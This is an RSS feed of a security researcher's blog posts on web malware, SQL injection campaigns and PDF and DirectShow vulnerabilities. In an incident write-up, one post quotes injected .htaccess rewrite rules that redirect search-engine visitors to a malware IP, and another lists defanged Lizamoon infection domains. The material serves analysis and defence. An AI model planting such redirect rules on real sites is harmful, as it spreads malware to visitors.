<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   >
<channel>
    <title>Niels Provos (Entries tagged as malware)</title>
    <link>http://www.provos.org/</link>
    <description>systrace, spybye and other things.</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.3.1 - http://www.s9y.org/</generator>
    
    

<item>
    <title>Lizamoon SQL Injection Campaign Compared</title>
    <link>http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html</link>
            <category>Hacking</category>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=92</wfw:comment>

    <slash:comments>5</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=92</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Malware infections such as &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/SQL_injection&quot;&gt;SQL injection&lt;/a&gt; are a well known security problem.  Over the past two years we have seen several large-scale infections on the web, e.g. &lt;i&gt;Gumblar.cn&lt;/i&gt; and &lt;i&gt;Martuz.cn&lt;/i&gt;.  Recently, a new SQL injection campaign called &lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx&quot;&gt;Lizamoon&lt;/a&gt; has gained a lot of attention. I had expected web sites would become more secure over time and less susceptible to simple security problems, so it is surprising that SQL injection is still a prevalent problem.  That let me to wonder:  Was &lt;i&gt;Lizamoon&lt;/i&gt; as successful as previous infections?  In a discussion about this problem, my colleague Panayiotis Mavrommatis suggested that &lt;a href=&quot;http://blog.isovitis.com/2011/03/estimating-web-malware-infections.html&quot;&gt;comparing the size of campaigns via search engine result estimates&lt;/a&gt; might not be very accurate measurement.&lt;br /&gt;
&lt;br /&gt;
That begs the question of how to assess the impact of infections.   While the number of infected URLs is one possible measure, it is skewed by many different factors, e.g. a single vulnerable site contributes a large fraction of the infected URLs and overstates the impact.   Instead, counting the number of infected sites might be a better metric.   Even so, to judge the relative scale of an infection campaign, it might be helpful to compare it to previous incidents.&lt;br /&gt;
&lt;br /&gt;
Below is a comparison of the &lt;i&gt;Gumblar.cn/&lt;/i&gt;, &lt;i&gt;Martuz.cn/&lt;/i&gt; and &lt;i&gt;Lizamoon&lt;/i&gt; infections based on &lt;a href=&quot;https://code.google.com/apis/safebrowsing/&quot;&gt;Google&#039;s Safe Browsing &lt;/a&gt;data.    The graph shows the number of unique infected sites over a 30 day sliding window.&lt;br /&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://www.provos.org/uploads/LizamoonCompared.jpg&#039; onclick=&quot;F1 = window.open(&#039;/uploads/LizamoonCompared.jpg&#039;,&#039;Zoom&#039;,&#039;height=2224,width=2974,top=-579.5,left=-639.5,toolbar=no,menubar=no,location=no,resize=1,resizable=1,scrollbars=yes&#039;); return false;&quot;&gt;&lt;!-- s9ymdb:15 --&gt;&lt;img class=&quot;serendipity_image_center&quot; width=&quot;600&quot; height=&quot;448&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://www.provos.org/uploads/LizamoonComparedSmall.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
For this analysis, I counted the sites that had a functioning reference to it, e.g. a &lt;i&gt;script src=&lt;/i&gt;.   Sites that escaped the &lt;i&gt;script&lt;/i&gt; tag rendering it harmless were not counted.  For &lt;i&gt;Lizamoon&lt;/i&gt;, I aggregated the sites provided by the &lt;a href=&quot;http://community.websense.com/blogs/securitylabs/archive/2011/03/29/lizamoon-mass-injection-28000-urls-including-itunes.aspx&quot;&gt;websense blog&lt;/a&gt; into a single measure:&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
hxxp://lizamoon.com/&lt;br /&gt;
hxxp://tadygus.com/&lt;br /&gt;
hxxp://alexblane.com/&lt;br /&gt;
hxxp://alisa-carter.com/&lt;br /&gt;
hxxp://online-stats201.info/&lt;br /&gt;
hxxp://stats-master111.info/&lt;br /&gt;
hxxp://agasi-story.info/&lt;br /&gt;
hxxp://general-st.info/&lt;br /&gt;
hxxp://extra-service.info/&lt;br /&gt;
hxxp://t6ryt56.info/&lt;br /&gt;
hxxp://sol-stats.info/&lt;br /&gt;
hxxp://google-stats49.info/&lt;br /&gt;
hxxp://google-stats45.info/&lt;br /&gt;
hxxp://google-stats50.info/&lt;br /&gt;
hxxp://stats-master88.info/&lt;br /&gt;
hxxp://eva-marine.info/&lt;br /&gt;
hxxp://stats-master99.info/&lt;br /&gt;
hxxp://worid-of-books.com/&lt;br /&gt;
hxxp://google-server43.info/&lt;br /&gt;
hxxp://tzv-stats.info/&lt;br /&gt;
hxxp://milapop.com/&lt;br /&gt;
hxxp://pop-stats.info/&lt;br /&gt;
hxxp://star-stats.info/&lt;br /&gt;
hxxp://multi-stats.info/&lt;br /&gt;
hxxp://google-stats44.info/&lt;br /&gt;
hxxp://books-loader.info/&lt;br /&gt;
hxxp://google-stats73.info/&lt;br /&gt;
hxxp://google-stats47.info/&lt;br /&gt;
hxxp://google-stats50.info/&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
The graph shows two interesting facts.&lt;ul&gt;&lt;li&gt;The Lizamoon campaign started around September 2010 and actually peaked in October 2010 with &lt;b&gt;~5600&lt;/b&gt; infected sites.  At the moment, it seems to be undergoing a revival.&lt;/li&gt;&lt;li&gt;If we compare the number of infected sites, &lt;i&gt;Gumblar.cn/&lt;/i&gt; is still clearly the winner with &lt;b&gt;~62,000&lt;/b&gt; sites, followed closely by &lt;i&gt;Martuz.cn/&lt;/i&gt;.&lt;/li&gt;&lt;/ul&gt;For future studies of malware infections, I suggest taking the number of infected sites as a more reliable measure than counting the number of infected URLs.&lt;br /&gt;
&lt;strong&gt;&lt;br /&gt;
Update 2011-04-04:&lt;/strong&gt; The blog post incorrectly referred to &lt;i&gt;Gumblar.cn&lt;/i&gt; and &lt;i&gt;Martuz.cn/&lt;/i&gt; as SQL injection attacks.   These attacks used stolen FTP credentials.&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Sun, 03 Apr 2011 15:24:20 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/92-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>sql injection</category>

</item>
<item>
    <title>Adobe PDF Vulnerability: Stack overflow in Font File parsing</title>
    <link>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/87-Adobe-PDF-Vulnerability-Stack-overflow-in-Font-File-parsing.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=87</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=87</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Metasploit has a great &lt;a href=&quot;http://blog.metasploit.com/2010/09/return-of-unpublished-adobe.html&quot;&gt;write up on new vulnerability in PDF&lt;/a&gt;.  The basic problem is a stack overflow when parsing OpenType fonts.  In particular, &lt;a href=&quot;http://www.adobe.com/devnet/opentype/gdk/topic.html&quot;&gt;SING Glyphlet tables&lt;/a&gt; contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer.  The vulnerable code is using &lt;strong&gt;strcat&lt;/strong&gt; and lacks bounds checking resulting in a stack overflow.&lt;br /&gt;
&lt;br /&gt;
The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version.   Each font files has slightly different shell code.    It was amusing to see that the attackers after modifying the &lt;strong&gt;head&lt;/strong&gt; and &lt;strong&gt;SING&lt;/strong&gt; tables did not fix up their respective checksums.   According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on.   Fun Fun.   As of now, no patched version is available.  The &lt;a href=&quot;http://secbrowsing.blogspot.com/2010/09/protect-yourself-against-todays-pdf.html&quot;&gt;SecBrowsing blog&lt;/a&gt; contains instructions with temporary remedies. 
    </content:encoded>

    <pubDate>Thu, 09 Sep 2010 22:18:39 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/87-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Anatomy of a PDF Exploit</title>
    <link>http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html</link>
            <category>Hacking</category>
            <category>Malware</category>
            <category>Security</category>
    
    <comments>http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=85</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=85</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    PDF has become the de-facto standard for formatting print documents.  Over the years, it has evolved into a &lt;a href=&quot;http://www.adobe.com/devnet/pdf/pdf_reference.html&quot;&gt;feature rich and very complex system&lt;/a&gt;.  PDF supports embedded Javascript that can be used for form validation and contains support for different image formats and 3D models, etc.  As a result, PDF implementations have numerous vulnerabilities that can be exploit by adversaries to gain control over a user’s computer.   Here are a number of CVEs that are currently being exploited in the wild: &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659&quot;&gt;CVE-2007-5659&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2992&quot;&gt;CVE-2008-2992&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927&quot;&gt;CVE-2009-0927&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2994&quot;&gt;CVE-2009-2994&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4324&quot;&gt;CVE-2009-4324&lt;/a&gt;, &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188&quot;&gt;CVE-2010-0188&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In this blog post, we are going to look at current exploitation of CVE-2010-0188: An integer overflow in the parsing of the dot range option in TIFF files.   The vulnerability was publicly &lt;a href=&quot;http://www.adobe.com/support/security/bulletins/apsb10-07.html&quot;&gt;announced in February 2010&lt;/a&gt;.  Examples of &lt;a href=&quot;http://www.exploit-db.com/exploits/11787/&quot;&gt;exploit code&lt;/a&gt; are readily available on the Internet and a very good explanation of how the exploit works has been provided by &lt;a href=&quot;http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/&quot;&gt;Fortinet&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The exploit described by Fortinet utilizes an AcroForm described in XML.  The XML contains an image field with an embedded TIFF image that triggers the vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- s9ymdb:12 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;691&quot; height=&quot;209&quot; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px; padding-bottom: 10px;&quot; src=&quot;http://www.provos.org/uploads/image2.png&quot; alt=&quot;&quot; /&gt; &lt;br /&gt;&lt;a href=&quot;http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html#extended&quot;&gt;Continue reading &quot;Anatomy of a PDF Exploit&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 19 Aug 2010 17:10:08 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/85-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>pdf</category>

</item>
<item>
    <title>LEET '10 Call for Papers</title>
    <link>http://www.provos.org/index.php?/archives/74-LEET-10-Call-for-Papers.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
            <category>SpyBye</category>
            <category>Systrace</category>
    
    <comments>http://www.provos.org/index.php?/archives/74-LEET-10-Call-for-Papers.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=74</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=74</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The call for papers for the &lt;strong&gt;3rd USENIX Workshop on Large-Scale Exploits and Emergent Threats&lt;/strong&gt; (LEET &#039;10) Botnets, Spyware, Worms, and More just went out.   It will be held on &lt;strong&gt;April 27, 2010&lt;/strong&gt; in San Jose, CA.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.usenix.org/event/leet10/cfp/&quot;&gt;LEET &#039;10&lt;/a&gt; will be co-located with the 7th USENIX Symposium on Networked Systems Design and Implementation (NSDI &#039;10), which will take place April 28–30, 2010.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Important Dates&lt;/strong&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Submissions due: Thursday, February 25, 2010, 11:59 p.m. PST&lt;/li&gt;&lt;li&gt;Notification of acceptance: Wednesday, March 24, 2010&lt;/li&gt;&lt;li&gt;Final papers due: Monday, April 5, 2010&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;strong&gt;Workshop Organizers&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Program Chair&lt;/em&gt;&lt;ul&gt;&lt;li&gt;Michael Bailey, University of Michigan&lt;/li&gt;&lt;/ul&gt;&lt;em&gt;Program Committee&lt;/em&gt;&lt;ul&gt;&lt;li&gt;Dan Boneh, Stanford University&lt;/li&gt;&lt;li&gt;Nick Feamster, Georgia Institute of Technology&lt;/li&gt;&lt;li&gt;Jaeyeon Jung, Intel Labs, Seattle&lt;/li&gt;&lt;li&gt;Christian Kreibich, International Computer Science Institute&lt;/li&gt;&lt;li&gt;Patrick McDaniel, Pennsylvania State University&lt;/li&gt;&lt;li&gt;Fabian Monrose, University of North Carolina, Chapel Hill&lt;/li&gt;&lt;li&gt;Jose Nazario, Arbor Networks, Inc.&lt;/li&gt;&lt;li&gt;Stefan Savage, University of California, San Diego&lt;/li&gt;&lt;li&gt;Matt Williamson, AVG Technologies&lt;/li&gt;&lt;li&gt;Yinglian Xie, Microsoft Research&lt;/li&gt;&lt;li&gt;Vinod Yegneswaran, SRI International&lt;/li&gt;&lt;br /&gt;
&lt;/ul&gt;Go submit your work! 
    </content:encoded>

    <pubDate>Sat, 29 Aug 2009 12:35:46 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/74-guid.html</guid>
    <category>cfp</category>
<category>malware</category>
<category>research</category>
<category>security</category>

</item>
<item>
    <title>Ask Google's Anti-Malware Team</title>
    <link>http://www.provos.org/index.php?/archives/73-Ask-Googles-Anti-Malware-Team.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/73-Ask-Googles-Anti-Malware-Team.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=73</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=73</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Google&#039;s Anti-Malware team has prepared a moderator page where web masters and users &lt;a href=&quot;http://moderator.appspot.com/#15/e=a77ea&amp;t=a9521&quot;&gt;can ask questions&lt;/a&gt; and vote which questions they would like to see answered.   The voting period ends on Friday, August 28th at which point the Anti-Malware team will prepare answers for some of the top-rated questions. 
    </content:encoded>

    <pubDate>Sun, 16 Aug 2009 16:42:12 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/73-guid.html</guid>
    <category>malware</category>

</item>
<item>
    <title>DirectShow Vulnerability Exploited Everywhere</title>
    <link>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/70-DirectShow-Vulnerability-Exploited-Everywhere.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=70</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=70</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    The &lt;a href=&quot;http://secunia.com/advisories/35683/&quot;&gt;DirectShow&lt;/a&gt; &lt;a href=&quot;http://www.symantec.com/connect/blogs/directshow-exploit-wild&quot;&gt;vulnerabilities&lt;/a&gt; are being exploited all over the place now.  Unfortunately, the &lt;a href=&quot;http://www.computerworld.com/s/article/9135210/Hackers_exploit_second_DirectShow_zero_day_using_thousands_of_hijacked_sites&quot;&gt;second vulnerability&lt;/a&gt; in DirectShow is still unpatched and exploit sites seem to be jumping on this.  There is even some evidence that it&#039;s possible to &lt;a href=&quot;http://www.viruslist.com/en/weblog?weblogid=208187760&quot;&gt;successfully exploit&lt;/a&gt; the vulnerability without even using JavaScript.   New &lt;a href=&quot;http://isc.sans.org/diary.html?storyid=6739&quot;&gt;exploit domains&lt;/a&gt; are popping after &lt;a href=&quot;http://google.com/safebrowsing/diagnostic?site=ch.ma/&quot;&gt;every day&lt;/a&gt;.  DirectShow now seems to be what Flash and PDF were earlier in the year. 
    </content:encoded>

    <pubDate>Sat, 11 Jul 2009 09:38:16 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/70-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Cybercrime 2.0: When the Cloud Turns Dark</title>
    <link>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html</link>
            <category>Malware</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/66-Cybercrime-2.0-When-the-Cloud-Turns-Dark.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=66</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=66</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    We recently published an article on &lt;a href=&quot;http://queue.acm.org/detail.cfm?id=1517412&quot;&gt;web-based malware&lt;/a&gt; in ACM&#039;s Queue Magazine.  It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc.  This is the article on which my recent ISSNet talk was based. 
    </content:encoded>

    <pubDate>Wed, 01 Jul 2009 08:19:59 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/66-guid.html</guid>
    <category>exploit</category>
<category>malware</category>
<category>security</category>

</item>
<item>
    <title>Top 10 Malware Sites</title>
    <link>http://www.provos.org/index.php?/archives/63-Top-10-Malware-Sites.html</link>
            <category>Malware</category>
            <category>News</category>
            <category>Security</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/63-Top-10-Malware-Sites.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=63</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=63</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    A list of the &lt;a href=&quot;http://googleonlinesecurity.blogspot.com/2009/06/top-10-malware-sites.html&quot;&gt;top-10 malware&lt;/a&gt; sites found by Google&#039;s infrastructure over the last two months is available at the &lt;a href=&quot;http://googleonlinesecurity.blogspot.com/&quot;&gt;Google Online Security Blog&lt;/a&gt;.  Gumblar and Martuz are among them as well as &lt;a href=&quot;http://google.com/safebrowsing/diagnostic?site=googleanalytlcs.net&quot;&gt;googleanalytlcs.net&lt;/a&gt;.   There certainly have been lots of compromised web servers recently. 
    </content:encoded>

    <pubDate>Sat, 06 Jun 2009 10:03:02 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/63-guid.html</guid>
    <category>malware</category>

</item>
<item>
    <title>Using htaccess To Distribute Malware</title>
    <link>http://www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=55</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=55</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    Usually, I get to find compromised web servers, but last week I was asked to fix one.    A relative noticed that his web server would try to install a &lt;a href=&quot;http://malwarebytes.org/forums/index.php?showforum=30&quot;&gt;rogue anti-malware product&lt;/a&gt; and called me for help.   Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar.  A little investigation with curl could reproduce that behavior:&lt;br /&gt;
&lt;blockquote&gt;curl -I -H &quot;Referer: www.google.com&quot; http://www.foo.com/&lt;/blockquote&gt;&lt;br /&gt;
returned a 302 redirect to an IP address, whereas &lt;blockquote&gt;curl -I http://www.foo.com/&lt;/blockquote&gt;&lt;br /&gt;
returned a 200.   To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in &lt;strong&gt;.htaccess&lt;/strong&gt;:&lt;br /&gt;
&lt;blockquote&gt;RewriteEngine On&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]&lt;br /&gt;
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]&lt;br /&gt;
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]&lt;/blockquote&gt;&lt;br /&gt;
This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.&lt;br /&gt;
&lt;br /&gt;
The attackers were able to insert this file as the web application had a remote file inclusion vulnerability.   These attacks are quite popular as we found in our paper: &lt;a href=&quot;http://www.usenix.org/events/sec08/tech/small.html&quot;&gt;To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads&lt;/a&gt;.  The fix in this case was to remove the &lt;strong&gt;.htaccess&lt;/strong&gt; file and to upgrade the web application to a patched version without the vulnerability. 
    </content:encoded>

    <pubDate>Fri, 05 Dec 2008 20:34:36 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/55-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>usenix</category>

</item>
<item>
    <title>SQL Injection Redux</title>
    <link>http://www.provos.org/index.php?/archives/53-SQL-Injection-Redux.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/53-SQL-Injection-Redux.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=53</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=53</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
    &lt;a class=&#039;serendipity_image_link&#039; href=&#039;http://www.provos.org/uploads/sql-injection.png&#039;&gt;&lt;!-- s9ymdb:8 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;200px&quot; height=&quot;103px&quot; style=&quot;float: left; border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://www.provos.org/uploads/sql-injection-small.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;During my &lt;a href=&quot;http://www.usenix.org/events/sec08/tech/tech.html#provos&quot;&gt;invited talk&lt;/a&gt; on web-based malware at USENIX Security, I mentioned &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;SQL Injection&lt;/a&gt; as one of the more popular means of compromising web servers.   Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google&#039;s infrastructure in July 2008; it&#039;s over 800,000 URLs.   Curiously, most of these were due to the &lt;a href=&quot;http://msmvps.com/blogs/harrywaldron/archive/2008/05/16/asprox-botnet-installs-sql-injection-tool.aspx&quot;&gt;Asprox botnet&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites.   One way to determine if a site has been injected with malicious content is the &lt;a href=&quot;http://googleonlinesecurity.blogspot.com/2008/05/safe-browsing-diagnostic-to-rescue.html&quot;&gt;Safe Browsing diagnostic page&lt;/a&gt; which shows infection domains and also how many sites they compromised.   Here is an example of a Chinese SQL injection domain, &lt;a href=&quot;http://www.google.com/safebrowsing/diagnostic?site=ko118.cn&quot;&gt;ko118.cn&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
To help web application developers, OWASP has published detailed guidelines on &lt;a href=&quot;http://www.owasp.org/index.php/Guide_to_SQL_Injection&quot;&gt;preventing SQL injection&lt;/a&gt; attacks.  More importantly if your web site was SQL injected, its database needs to be cleaned to &lt;a href=&quot;http://www.google.com/search?q=cleaning+sql+injection&quot;&gt;remove the injected content&lt;/a&gt;. 
    </content:encoded>

    <pubDate>Tue, 25 Nov 2008 20:59:35 -0800</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/53-guid.html</guid>
    <category>malware</category>
<category>security</category>
<category>sql injection</category>
<category>usenix</category>

</item>
<item>
    <title>The Ghost In The Browser</title>
    <link>http://www.provos.org/index.php?/archives/17-The-Ghost-In-The-Browser.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/17-The-Ghost-In-The-Browser.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=17</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=17</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
            During &lt;a href=&quot;http://www.usenix.org/events/hotbots07/tech/&quot;&gt;HotBots&lt;/a&gt; last month, I presented a paper on a systematic approach for detecting malware on the web called &quot;&lt;a href=http://www.usenix.org/events/hotbots07/tech/full_papers/provos/provos.pdf&gt;The Ghost In The Browser&lt;/a&gt;&quot;.  The paper enumerates all the different ways in which a web page can become malicious and contains some measurements on the prevalance of drive-by-downloads; an in depth analysis of 4.5 million URLs detected 450,000 that were surreptitiously installing malware.  All the more reason for tools such as SpyBye.  Fortunately, I am not the only one working on such tools.   Christian Seifert from the New Zealand Honeypot Alliance recently announced a &lt;a href=http://www.nz-honeynet.org/cwebservice.php&gt;web interface&lt;/a&gt; to their Capture honey client which runs a browser against URLs specified by you.  In a similar vein, &lt;a href=http://www.cs.vu.nl/~herbertb/misc/shelia/&gt;Shelia&lt;/a&gt; is a tool that scans your mail folder and follows URLs contained in it for malware and exploits.   
    </content:encoded>

    <pubDate>Wed, 09 May 2007 19:27:43 -0700</pubDate>
    <guid isPermaLink="false">http://www.provos.org/index.php?/archives/17-guid.html</guid>
    <category>malware</category>
<category>research</category>
<category>security</category>

</item>
<item>
    <title>Anatomy of a typical exploit</title>
    <link>http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html</link>
            <category>Malware</category>
            <category>SpyBye</category>
    
    <comments>http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html#comments</comments>
    <wfw:comment>http://www.provos.org/wfwcomment.php?cid=3</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.provos.org/rss.php?version=2.0&amp;type=comments&amp;cid=3</wfw:commentRss>
    

    <author>nospam@example.com (Niels Provos)</author>
    <content:encoded>
